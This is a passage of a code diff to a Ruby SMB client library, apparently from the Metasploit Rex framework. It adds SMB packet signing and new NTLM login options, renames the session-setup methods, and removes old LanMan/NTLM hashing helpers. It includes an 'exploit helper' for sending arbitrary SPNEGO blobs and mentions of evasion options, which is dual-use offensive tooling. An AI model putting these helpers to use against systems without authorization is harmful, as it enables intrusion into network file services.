if (ack['Payload']['SMB'].v['ErrorClass'] != 0)
|
||||
if (user.length == 0)
|
||||
return self.session_setup_ntlmv1(user, pass, domain)
|
||||
return self.session_setup_no_ntlmssp(user, pass, domain)
|
||||
end
|
||||
|
||||
failure = XCEPT::ErrorCode.new
|
||||
|
@ -869,7 +1083,7 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
|
||||
# An exploit helper function for sending arbitrary SPNEGO blobs
|
||||
def session_setup_ntlmv2_blob(blob = '', do_recv = true)
|
||||
def session_setup_with_ntlmssp_blob(blob = '', do_recv = true)
|
||||
native_data = ''
|
||||
native_data << self.native_os + "\x00"
|
||||
native_data << self.native_lm + "\x00"
|
||||
|
@ -898,14 +1112,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
end
|
||||
|
||||
|
||||
# Authenticate using extended security negotiation (NTLMv2), but stop half-way, using the temporary ID
|
||||
def session_setup_ntlmv2_temp(domain = '', name = nil, do_recv = true)
|
||||
# Authenticate using extended security negotiation (NTLMSSP), but stop half-way, using the temporary ID
|
||||
def session_setup_with_ntlmssp_temp(domain = '', name = nil, do_recv = true)
|
||||
|
||||
if (name == nil)
|
||||
name = Rex::Text.rand_text_alphanumeric(16)
|
||||
end
|
||||
|
||||
blob = UTILS.make_ntlmv2_secblob_init(domain, name)
|
||||
blob = NTLM_UTILS.make_ntlmssp_secblob_init(domain, name)
|
||||
|
||||
native_data = ''
|
||||
native_data << self.native_os + "\x00"
|
||||
|
@ -934,7 +1148,7 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
# The server doesn't know about NTLM_NEGOTIATE, try ntlmv1
|
||||
if (ack['Payload']['SMB'].v['ErrorClass'] == 0x00020002)
|
||||
return session_setup_ntlmv1(user, pass, domain)
|
||||
return session_setup_no_ntlmssp(user, pass, domain)
|
||||
end
|
||||
|
||||
# Make sure the error code tells us to continue processing
|
||||
|
@ -981,7 +1195,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TREE_CONNECT_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 4
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['PasswordLen'] = pass.length + 1
|
||||
|
@ -1008,7 +1229,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TREE_DISCONNECT
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 0
|
||||
pkt['Payload']['SMB'].v['TreeID'] = tree_id
|
||||
|
||||
|
@ -1037,7 +1265,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 24
|
||||
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
|
@ -1071,7 +1306,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_DELETE
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['TreeID'] = tree_id
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 1
|
||||
|
||||
|
@ -1095,7 +1337,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_OPEN_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 15
|
||||
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
|
@ -1125,7 +1374,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['TreeID'] = tree_id
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 3
|
||||
|
||||
|
@ -1140,10 +1396,8 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
return ack
|
||||
end
|
||||
|
||||
|
||||
# Writes data to an open file handle
|
||||
def write(file_id = self.last_file_id, offset = 0, data = '', do_recv = true)
|
||||
|
||||
pkt = CONST::SMB_WRITE_PKT.make_struct
|
||||
self.smb_defaults(pkt['Payload']['SMB'])
|
||||
|
||||
|
@ -1153,7 +1407,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2805
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 14
|
||||
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
|
@ -1184,7 +1445,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 10
|
||||
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
|
@ -1272,7 +1540,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
|
||||
|
||||
pkt['Payload'].v['ParamCountTotal'] = param.length
|
||||
|
@ -1343,7 +1618,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
|
||||
|
||||
pkt['Payload'].v['ParamCountTotal'] = param.length
|
||||
|
@ -1406,7 +1688,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
|
||||
|
||||
pkt['Payload'].v['ParamCountTotal'] = param.length
|
||||
|
@ -1449,7 +1738,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
|
||||
|
||||
pkt['Payload'].v['ParamCountTotal'] = param.length
|
||||
|
@ -1488,7 +1784,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 19 + setup_count
|
||||
|
||||
pkt['Payload'].v['ParamCountTotal'] = param.length
|
||||
|
@ -1526,7 +1829,14 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
if self.require_signing
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
|
||||
else
|
||||
#ascii
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
|
||||
end
|
||||
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 18
|
||||
|
||||
pkt['Payload'].v['ParamCountTotal'] = param.length
|
||||
|
@ -1757,7 +2067,8 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
|
||||
# public read/write methods
|
||||
attr_accessor :native_os, :native_lm, :encrypt_passwords, :extended_security, :read_timeout, :evasion_opts
|
||||
attr_accessor :system_time, :system_zone
|
||||
attr_accessor :verify_signature, :use_ntlmv2, :usentlm2_session, :send_lm, :use_lanman_key, :send_ntlm
|
||||
attr_accessor :system_time, :system_zone
|
||||
|
||||
# public read methods
|
||||
attr_reader :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
|
||||
|
@ -1765,6 +2076,8 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
attr_reader :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
|
||||
attr_reader :dns_host_name, :dns_domain_name
|
||||
attr_reader :security_mode, :server_guid
|
||||
#signing related
|
||||
attr_reader :sequence_counter,:signing_key, :require_signing
|
||||
|
||||
# private methods
|
||||
attr_writer :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
|
||||
|
@ -1772,6 +2085,8 @@ EVADE = Rex::Proto::SMB::Evasions
|
|||
attr_writer :dns_host_name, :dns_domain_name
|
||||
attr_writer :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
|
||||
attr_writer :security_mode, :server_guid
|
||||
#signing related
|
||||
attr_writer :sequence_counter,:signing_key, :require_signing
|
||||
|
||||
attr_accessor :socket
|
||||
|
||||
|
|
|
@ -50,7 +50,7 @@ class Rex::Proto::SMB::Client::UnitTest < Test::Unit::TestCase
|
|||
assert_kind_of(Rex::Struct2::CStruct, ok)
|
||||
|
||||
# puts "[*] Authenticating with NTLMv2..."
|
||||
ok = c.session_setup_ntlmv2($_REX_TEXT_SMB_USER, $_REX_TEXT_SMB_PASS)
|
||||
ok = c.session_setup_with_ntlmssp($_REX_TEXT_SMB_USER, $_REX_TEXT_SMB_PASS)
|
||||
assert_kind_of(Rex::Struct2::CStruct, ok)
|
||||
assert_not_equal(c.auth_user_id, 0)
|
||||
|
||||
|
@ -122,7 +122,7 @@ class Rex::Proto::SMB::Client::UnitTest < Test::Unit::TestCase
|
|||
assert_kind_of(Rex::Struct2::CStruct, ok)
|
||||
|
||||
# puts "[*] Authenticating with NTLMv2..."
|
||||
ok = c.session_setup_ntlmv2($_REX_TEXT_SMB_USER, $_REX_TEXT_SMB_PASS)
|
||||
ok = c.session_setup_with_ntlmssp($_REX_TEXT_SMB_USER, $_REX_TEXT_SMB_PASS)
|
||||
assert_kind_of(Rex::Struct2::CStruct, ok)
|
||||
assert_not_equal(c.auth_user_id, 0)
|
||||
|
||||
|
@ -171,11 +171,11 @@ class Rex::Proto::SMB::Client::UnitTest < Test::Unit::TestCase
|
|||
assert_kind_of(Rex::Struct2::CStruct, ok)
|
||||
|
||||
# puts "[*] Authenticating with NTLMv2..."
|
||||
ok = c.session_setup_ntlmv2
|
||||
ok = c.session_setup_with_ntlmssp
|
||||
assert_kind_of(Rex::Struct2::CStruct, ok)
|
||||
|
||||
# puts "[*] Authenticating with NTLMv1..."
|
||||
ok = c.session_setup_ntlmv1
|
||||
ok = c.session_setup_no_ntlmssp
|
||||
assert_kind_of(Rex::Struct2::CStruct, ok)
|
||||
|
||||
# puts "[*] Authenticating with clear text passwords..."
|
||||
|
|
|
@ -102,10 +102,7 @@ SMB2_OP_GETINFO = 0x10
|
|||
SMB2_OP_SETINFO = 0x11
|
||||
SMB2_OP_BREAK = 0x12
|
||||
|
||||
# NTLM Response Type
|
||||
NTLM_V1_RESPONSE = 1
|
||||
NTLM_V2_RESPONSE = 2
|
||||
NTLM_2_SESSION_RESPONSE = 3
|
||||
|
||||
# SMB_COM_NT_TRANSACT Subcommands
|
||||
NT_TRANSACT_CREATE = 1 # File open/create
|
||||
NT_TRANSACT_IOCTL = 2 # Device IOCTL
|
||||
|
@ -1042,27 +1039,6 @@ SMB_SEARCH_HDR_PKT = Rex::Struct2::CStructTemplate.new(
|
|||
)
|
||||
SMB_SEARCH_PKT = self.make_nbs(SMB_SEARCH_HDR_PKT)
|
||||
|
||||
# NTLMSSP Message Flags
|
||||
NEGOTIATE_UNICODE = 0x00000001 # Only set if Type 1 contains it - this or oem, not both
|
||||
NEGOTIATE_OEM = 0x00000002 # Only set if Type 1 contains it - this or unicode, not both
|
||||
REQUEST_TARGET = 0x00000004 # If set in Type 1, must return domain or server
|
||||
NEGOTIATE_SIGN = 0x00000010 # Session signature required
|
||||
NEGOTIATE_SEAL = 0x00000020 # Session seal required
|
||||
NEGOTIATE_LMKEY = 0x00000080 # LM Session Key should be used for signing and sealing
|
||||
NEGOTIATE_NTLM = 0x00000200 # NTLM auth is supported
|
||||
NEGOTIATE_ANONYMOUS = 0x00000800 # Anonymous context used
|
||||
NEGOTIATE_DOMAIN = 0x00001000 # Sent in Type1, client gives domain info
|
||||
NEGOTIATE_WORKSTATION = 0x00002000 # Sent in Type1, client gives workstation info
|
||||
NEGOTIATE_LOCAL_CALL = 0x00004000 # Server and client are on same machine
|
||||
NEGOTIATE_ALWAYS_SIGN = 0x00008000 # Add signatures to packets
|
||||
TARGET_TYPE_DOMAIN = 0x00010000 # If REQUEST_TARGET, we're adding the domain name
|
||||
TARGET_TYPE_SERVER = 0x00020000 # If REQUEST_TARGET, we're adding the server name
|
||||
TARGET_TYPE_SHARE = 0x00040000 # Supposed to denote "a share" but for a webserver?
|
||||
NEGOTIATE_NTLM2_KEY = 0x00080000 # NTLMv2 Signature and Key exchanges
|
||||
NEGOTIATE_TARGET_INFO = 0x00800000 # Server set when sending Target Information Block
|
||||
NEGOTIATE_128 = 0x20000000 # 128-bit encryption supported
|
||||
NEGOTIATE_KEY_EXCH = 0x40000000 # Client will supply encrypted master key in Session Key field of Type3 msg
|
||||
NEGOTIATE_56 = 0x80000000 # 56-bit encryption supported
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -15,76 +15,23 @@ class Crypt
|
|||
|
||||
begin
|
||||
|
||||
def self.lanman_des(pass, chal)
|
||||
e_p24( [ e_p16( [ pass.upcase()[0,14] ].pack('a14') ) ].pack('a21'), chal)
|
||||
#return a smb packet signed
|
||||
def self.sign_smb_packet(mackey, sequence_counter, data)
|
||||
seq = Rex::Text::pack_int64le(sequence_counter)
|
||||
netbios_hdr = data.slice!(0,4)
|
||||
data[14,8] = seq
|
||||
signature = OpenSSL::Digest::MD5.digest(mackey + data)[0,8]
|
||||
data[14,8] = signature
|
||||
netbios_hdr + data
|
||||
end
|
||||
|
||||
def self.e_p16(pass)
|
||||
stat = "\x4b\x47\x53\x21\x40\x23\x24\x25"
|
||||
des_hash(stat, pass[0,7]) << des_hash(stat, pass[7,7])
|
||||
def self.is_signature_correct?(mackey, sequence_counter, data)
|
||||
signature1 = data[18,8]
|
||||
signature2 = sign_smb_packet(mackey, sequence_counter, data.dup)[18,8]
|
||||
return signature1 == signature2
|
||||
end
|
||||
|
||||
def self.e_p24(pass, chal)
|
||||
des_hash(chal, pass[0,7]) << des_hash(chal, pass[7,7]) << des_hash(chal, pass[14,7])
|
||||
end
|
||||
|
||||
def self.des_hash(data, ckey)
|
||||
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
|
||||
cipher = OpenSSL::Cipher::Cipher.new('des-ecb')
|
||||
cipher.encrypt
|
||||
cipher.key = des_56_to_64(ckey)
|
||||
cipher.update(data)
|
||||
end
|
||||
|
||||
def self.des_56_to_64(ckey56s)
|
||||
ckey64 = []
|
||||
ckey56 = ckey56s.unpack('C*')
|
||||
ckey64[0] = ckey56[0]
|
||||
ckey64[1] = ((ckey56[0] << 7) & 0xFF) | (ckey56[1] >> 1)
|
||||
ckey64[2] = ((ckey56[1] << 6) & 0xFF) | (ckey56[2] >> 2)
|
||||
ckey64[3] = ((ckey56[2] << 5) & 0xFF) | (ckey56[3] >> 3)
|
||||
ckey64[4] = ((ckey56[3] << 4) & 0xFF) | (ckey56[4] >> 4)
|
||||
ckey64[5] = ((ckey56[4] << 3) & 0xFF) | (ckey56[5] >> 5)
|
||||
ckey64[6] = ((ckey56[5] << 2) & 0xFF) | (ckey56[6] >> 6)
|
||||
ckey64[7] = (ckey56[6] << 1) & 0xFF
|
||||
ckey64.pack('C*')
|
||||
end
|
||||
|
||||
def self.ntlm_md4(pass, chal)
|
||||
e_p24( [ md4_hash(Rex::Text.to_unicode(pass)) ].pack('a21'), chal)
|
||||
end
|
||||
|
||||
def self.md4_hash(data)
|
||||
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
|
||||
digest = OpenSSL::Digest::MD4.digest(data)
|
||||
end
|
||||
|
||||
def self.md5_hash(data)
|
||||
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
|
||||
digest = OpenSSL::Digest::MD5.digest(data)
|
||||
end
|
||||
|
||||
def self.lm2nt(pass, ntlm)
|
||||
res = nil
|
||||
Rex::Text.permute_case( pass.upcase ).each do |word|
|
||||
if(md4_hash(Rex::Text.to_unicode(word)) == ntlm)
|
||||
res = word
|
||||
break
|
||||
end
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
def self.lmchal2ntchal(pass, ntlm, challenge)
|
||||
res = nil
|
||||
Rex::Text.permute_case( pass.upcase ).each do |word|
|
||||
if(ntlm_md4(word,challenge) == ntlm)
|
||||
res = word
|
||||
break
|
||||
end
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
rescue LoadError
|
||||
end
|
||||
|
|
|
@ -1,20 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..'))
|
||||
|
||||
require 'rex/test'
|
||||
require 'rex/proto/smb/crypt'
|
||||
|
||||
class Rex::Proto::SMB::Crypt::UnitTest < Test::Unit::TestCase
|
||||
|
||||
Klass = Rex::Proto::SMB::Crypt
|
||||
|
||||
def test_parse
|
||||
|
||||
pass = "XXXXXXX"
|
||||
chal = "Z" * 8
|
||||
|
||||
assert_equal("\xc2\x48\xcf\x61\x65\xfe\x55\xef\xac\xa0\x30\x09\x66\xdc\x37\x96\x04\x6b\x9c\x0b\xb4\xa5\x2e\x27", Klass.lanman_des(pass, chal), 'lanman_des')
|
||||
assert_equal("\x8d\x04\x18\x58\xf0\x78\xcc\xfa\x15\x60\xa4\x61\x76\x90\xe5\x51\x84\xfd\x70\xec\x7f\x23\xb7\xf9", Klass.ntlm_md4(pass, chal), 'ntlm_md4')
|
||||
end
|
||||
end
|
|
@ -829,6 +829,18 @@ class NTLM2MissingChallenge < Error
|
|||
end
|
||||
end
|
||||
|
||||
class SigningError < Error
|
||||
def to_s
|
||||
"Unable to handle signing in this situation"
|
||||
end
|
||||
end
|
||||
|
||||
class IncorrectSigningError < Error
|
||||
def to_s
|
||||
"The signature sent by the server is not correct"
|
||||
end
|
||||
end
|
||||
|
||||
class SimpleClientError < Error
|
||||
attr_accessor :source, :fatal
|
||||
end
|
||||
|
|
|
@ -179,14 +179,24 @@ attr_accessor :socket, :client, :direct, :shares, :last_share
|
|||
self.shares = { }
|
||||
end
|
||||
|
||||
def login(name = '', user = '', pass = '', domain = '')
|
||||
def login( name = '', user = '', pass = '', domain = '',
|
||||
verify_signature = false, usentlmv2 = false, usentlm2_session = true,
|
||||
send_lm = true, use_lanman_key = false, send_ntlm = true,
|
||||
native_os = 'Windows 2000 2195', native_lm = 'Windows 2000 5.0')
|
||||
|
||||
begin
|
||||
|
||||
if (self.direct != true)
|
||||
self.client.session_request(name)
|
||||
end
|
||||
|
||||
self.client.native_os = native_os
|
||||
self.client.native_lm = native_lm
|
||||
self.client.verify_signature = verify_signature
|
||||
self.client.use_ntlmv2 = usentlmv2
|
||||
self.client.usentlm2_session = usentlm2_session
|
||||
self.client.send_lm = send_lm
|
||||
self.client.use_lanman_key = use_lanman_key
|
||||
self.client.send_ntlm = send_ntlm
|
||||
self.client.negotiate
|
||||
ok = self.client.session_setup(user, pass, domain)
|
||||
rescue ::Interrupt
|
||||
|
@ -233,7 +243,7 @@ attr_accessor :socket, :client, :direct, :shares, :last_share
|
|||
|
||||
def login_split_next_ntlm1(user, domain, hash_lm, hash_nt)
|
||||
begin
|
||||
ok = self.client.session_setup_ntlmv1_prehash(user, domain, hash_lm, hash_nt)
|
||||
ok = self.client.session_setup_no_ntlmssp_prehash(user, domain, hash_lm, hash_nt)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
|
@ -261,14 +271,16 @@ attr_accessor :socket, :client, :direct, :shares, :last_share
|
|||
self.shares.delete(share)
|
||||
end
|
||||
|
||||
def open(path, perm)
|
||||
|
||||
def open(path, perm, chunk_size = 48000)
|
||||
mode = UTILS.open_mode_to_mode(perm)
|
||||
access = UTILS.open_mode_to_access(perm)
|
||||
|
||||
ok = self.client.open(path, mode, access)
|
||||
file_id = ok['Payload'].v['FileID']
|
||||
|
||||
fh = OpenFile.new(self.client, path, self.client.last_tree_id, file_id)
|
||||
fh.chunk_size = chunk_size
|
||||
fh
|
||||
end
|
||||
|
||||
def delete(*args)
|
||||
|
|
|
@ -96,505 +96,7 @@ CONST = Rex::Proto::SMB::Constants
|
|||
return decoded
|
||||
end
|
||||
|
||||
#
|
||||
# Prepends an ASN1 formatted length field to a piece of data
|
||||
#
|
||||
def self.asn1encode(str = '')
|
||||
res = ''
|
||||
|
||||
# If the high bit of the first byte is 1, it contains the number of
|
||||
# length bytes that follow
|
||||
|
||||
case str.length
|
||||
when 0 .. 0x7F
|
||||
res = [str.length].pack('C') + str
|
||||
when 0x80 .. 0xFF
|
||||
res = [0x81, str.length].pack('CC') + str
|
||||
when 0x100 .. 0xFFFF
|
||||
res = [0x82, str.length].pack('Cn') + str
|
||||
when 0x10000 .. 0xffffff
|
||||
res = [0x83, str.length >> 16, str.length & 0xFFFF].pack('CCn') + str
|
||||
when 0x1000000 .. 0xffffffff
|
||||
res = [0x84, str.length].pack('CN') + str
|
||||
else
|
||||
raise "ASN1 str too long"
|
||||
end
|
||||
return res
|
||||
end
|
||||
|
||||
def self.make_ntlmv2_secblob_init(domain = 'WORKGROUP', name = 'WORKSTATION', flags=0x80201)
|
||||
blob =
|
||||
"\x60" + self.asn1encode(
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x05\x05\x02"
|
||||
) +
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
|
||||
)
|
||||
)
|
||||
) +
|
||||
"\xa2" + self.asn1encode(
|
||||
"\x04" + self.asn1encode(
|
||||
"NTLMSSP\x00" +
|
||||
[1, flags].pack('VV') +
|
||||
|
||||
[
|
||||
domain.length, #length
|
||||
domain.length, #max length
|
||||
32
|
||||
].pack('vvV') +
|
||||
|
||||
[
|
||||
name.length, #length
|
||||
name.length, #max length
|
||||
domain.length + 32
|
||||
].pack('vvV') +
|
||||
|
||||
domain + name
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
return blob
|
||||
end
|
||||
|
||||
|
||||
def self.make_ntlmv2_secblob_auth(domain, name, user, lmv2, ntlm, flags = 0x080201)
|
||||
|
||||
lmv2 ||= "\x00" * 24
|
||||
ntlm ||= "\x00" * 24
|
||||
|
||||
domain_uni = Rex::Text.to_unicode(domain)
|
||||
user_uni = Rex::Text.to_unicode(user)
|
||||
name_uni = Rex::Text.to_unicode(name)
|
||||
session = ''
|
||||
|
||||
ptr = 64
|
||||
blob =
|
||||
"\xa1" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\xa2" + self.asn1encode(
|
||||
"\x04" + self.asn1encode(
|
||||
|
||||
"NTLMSSP\x00" +
|
||||
[ 3 ].pack('V') +
|
||||
|
||||
[ # Lan Manager Response
|
||||
lmv2.length,
|
||||
lmv2.length,
|
||||
(ptr)
|
||||
].pack('vvV') +
|
||||
|
||||
[ # NTLM Manager Response
|
||||
ntlm.length,
|
||||
ntlm.length,
|
||||
(ptr += lmv2.length)
|
||||
].pack('vvV') +
|
||||
|
||||
[ # Domain Name
|
||||
domain_uni.length,
|
||||
domain_uni.length,
|
||||
(ptr += ntlm.length)
|
||||
].pack('vvV') +
|
||||
|
||||
[ # Username
|
||||
user_uni.length,
|
||||
user_uni.length,
|
||||
(ptr += domain_uni.length)
|
||||
].pack('vvV') +
|
||||
|
||||
[ # Hostname
|
||||
name_uni.length,
|
||||
name_uni.length,
|
||||
(ptr += user_uni.length)
|
||||
].pack('vvV') +
|
||||
|
||||
[ # Session Key (none)
|
||||
session.length,
|
||||
session.length,
|
||||
(ptr += name_uni.length)
|
||||
].pack('vvV') +
|
||||
|
||||
[ flags ].pack('V') +
|
||||
|
||||
lmv2 +
|
||||
ntlm +
|
||||
domain_uni +
|
||||
user_uni +
|
||||
name_uni +
|
||||
session + "\x00"
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
return blob
|
||||
end
|
||||
#This function will create a GSS Sec blob compatible for SMB_NEGOCIATE_RESPONSE packet of this kind :
|
||||
#mechTypes: 2 items :
|
||||
# -MechType: 1.3.6.1.4.1.311.2.2.30 (SNMPv2-SMI::enterprises.311.2.2.30)
|
||||
# -MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider)
|
||||
#
|
||||
#this is the default on Win7
|
||||
def self.make_simple_negotiate_secblob_resp
|
||||
blob =
|
||||
"\x60" + self.asn1encode(
